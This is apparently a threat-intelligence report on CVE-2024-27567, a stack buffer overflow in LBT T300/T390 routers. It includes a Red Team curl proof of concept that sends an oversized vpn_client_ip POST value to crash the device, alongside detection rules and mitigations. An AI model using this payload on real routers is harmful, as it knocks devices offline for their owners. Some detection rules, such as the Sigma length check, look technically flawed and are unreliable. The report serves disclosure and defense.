CVE-2024-27567

Executive Summary

CVE-2024-27567 is a critical stack-based buffer overflow vulnerability discovered in the LBT T300 and T390 routers running firmware version v2.2.1.8. The flaw resides in the config_vpn_pptp function, specifically within the handling of the vpn_client_ip parameter during a POST request. An unauthenticated attacker can trigger a Denial of Service (DoS) by sending a crafted POST request, causing the device to crash or become unresponsive. No patch is currently available from the vendor, and no public exploit code has been released. The vulnerability is classified under CWE-121 (Stack-based Buffer Overflow) and aligns with MITRE ATT&CK tactic T1499 (Endpoint Denial of Service).

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a full vector. However, based on the nature of the vulnerability (unauthenticated remote DoS via stack overflow), a reasonable estimated vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): None (N)
• Integrity (I): None (N)
• Availability (A): High (H)

Estimated CVSS v3.1 Score: 7.5 (High)

Threat Level: High – The vulnerability is remotely exploitable without authentication, and the affected devices are edge routers exposed to the internet.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the config_vpn_pptp function of the LBT T300/T390 firmware. The function processes the vpn_client_ip parameter from a POST request without proper bounds checking. By supplying an overly long string for this parameter, an attacker can overwrite the stack return address and other critical data, leading to a crash (DoS). The overflow is triggered during the copy operation into a fixed-size stack buffer.

Root Cause: Lack of input validation and unsafe memory copy (likely strcpy or similar) in the config_vpn_pptp handler.

Attack Vector: Remote, unauthenticated POST request to the vulnerable endpoint.

Impact: Denial of Service – the device becomes unresponsive until a manual reboot.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code snippet (hypothetical based on CWE-121) would look like:

// Vulnerable code in config_vpn_pptp
void config_vpn_pptp(char *vpn_client_ip) {
    char buffer[64];
    strcpy(buffer, vpn_client_ip); // No bounds check
    // ... rest of function
}

A patched version would include bounds checking:

// Patched code
void config_vpn_pptp(char *vpn_client_ip) {
    char buffer[64];
    strncpy(buffer, vpn_client_ip, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... rest of function
}

Since no official patch exists, users must rely on mitigations.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• LBT T300 or T390 router with firmware v2.2.1.8
• Network access to the router's web interface (typically port 80 or 443)

Exploit Steps:

1. Identify the target router's IP address.
2. Send a crafted POST request with an oversized vpn_client_ip parameter.

Proof-of-Concept (PoC) using curl:

#!/bin/bash
# PoC for CVE-2024-27567 - DoS via stack overflow
TARGET="http://192.168.1.1"
PAYLOAD=$(python3 -c "print('A'*1000)")  # Overflow payload

curl -X POST "$TARGET/config_vpn_pptp" \
  -d "vpn_client_ip=$PAYLOAD" \
  --connect-timeout 5

Expected Outcome: The router becomes unresponsive, requiring a power cycle.

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /config_vpn_pptp with abnormally long vpn_client_ip values.
• Use network intrusion detection systems (NIDS) to flag oversized parameters.

Defense:

• Restrict access to the router's management interface to trusted IPs only.
• Disable remote management if not required.
• Implement input validation at the network perimeter (e.g., web application firewall rules).

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /config_vpn_pptp with vpn_client_ip parameter exceeding 64 characters.
  • Repeated connection timeouts from the router after such requests.
• System:
  • Router logs showing crashes or unexpected reboots.
  • Unresponsive web interface after exploitation.

Detection Engineering

YARA Rule

rule CVE_2024_27567_StackOverflow {
    meta:
        description = "Detects exploitation attempts for CVE-2024-27567 via oversized vpn_client_ip parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-27567"
    strings:
        $http_post = "POST /config_vpn_pptp" ascii wide nocase
        $param = "vpn_client_ip=" ascii wide nocase
        $overflow = "AAAA" ascii wide  // Indicator of long payload
    condition:
        $http_post and $param and #overflow > 10
}

Sigma Rule

title: CVE-2024-27567 Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to /config_vpn_pptp with oversized vpn_client_ip parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/config_vpn_pptp'
        cs-uri-query|contains: 'vpn_client_ip='
    condition: selection and len(cs-uri-query) > 200
falsepositives:
    - Legitimate long IP strings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27567 - Stack Overflow in LBT Router"; flow:to_server; content:"POST"; http_method; content:"/config_vpn_pptp"; http_uri; content:"vpn_client_ip="; http_client_body; pcre:"/vpn_client_ip=[^&]{100,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management on the router if not essential.
2. Restrict access to the management interface via firewall rules (allow only trusted IPs).
3. Monitor logs for exploitation attempts.

Long-term:

• Contact LBT for an official firmware patch.
• Consider replacing the device if no patch is released.
• Implement network segmentation to isolate vulnerable devices.

Workaround:

• Use a reverse proxy or WAF to filter oversized POST parameters.

Valters IT – DevSecOps & Cyber Threat Intelligence Report